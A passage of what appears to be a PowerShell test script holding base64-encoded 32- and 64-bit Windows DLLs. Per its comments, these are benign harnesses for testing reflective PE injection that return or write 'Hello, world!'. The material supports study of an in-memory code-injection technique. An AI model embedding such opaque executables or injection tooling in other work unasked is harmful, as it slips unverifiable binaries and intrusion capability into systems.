'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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAADAAAABEwAAAAIAAADAAAABwwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==' - - # A bare bones test harness DLL that simply returns "Hello, world!" upon having StringFunc called - $Encoded64BitStringDll = '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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAADAAAABCgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==' - $Encoded32BitStringDll = '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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAADAAAABEwAAAAIAAADAAAABAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==' - - # A bare bones test harness DLL that simply writes "Hello, world!" to %TEMP%\testoutput.txt upon having VoidFunc called - $Encoded64BitVoidDll = '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' - $Encoded32BitVoidDll = 'TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAyAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABxqgfBNctpkjXLaZI1y2mSPLP6kjbLaZI1y2iSM8tpkheyjZI0y2mSF7K1kjTLaZIXsreSNMtpklJpY2g1y2mSAAAAAAAAAABQRQAATAEDAO58PlYAAAAAAAAAAOAAAiELAQwAAAIAAAAEAAAAAAAAABAAAAAQAAAAIAAAAAAAEAAQAAAAAgAABQABAAAAAAAFAAEAAAAAAABAAAAABAAA4GcAAAEAQAEAABAAABAAAAAAEAAAEAAAAAAAABAAAABgIAAAXQAAAMAgAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADAAACgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAHAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC50ZXh0AAAA5gAAAAAQAAAAAgAAAAQAAAAAAAAAAAAAAAAAACAAAGAucmRhdGEAAHwBAAAAIAAAAAIAAAAGAAAAAAAAAAAAAAAAAABAAABALnJlbG9jAAAoAAAAADAAAAACAAAACAAAAAAAAAAAAAAAAAAAQAAAQgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAALgBAAAAwgwAzMzMzMzMzMxVi+yB7BwBAAChHCA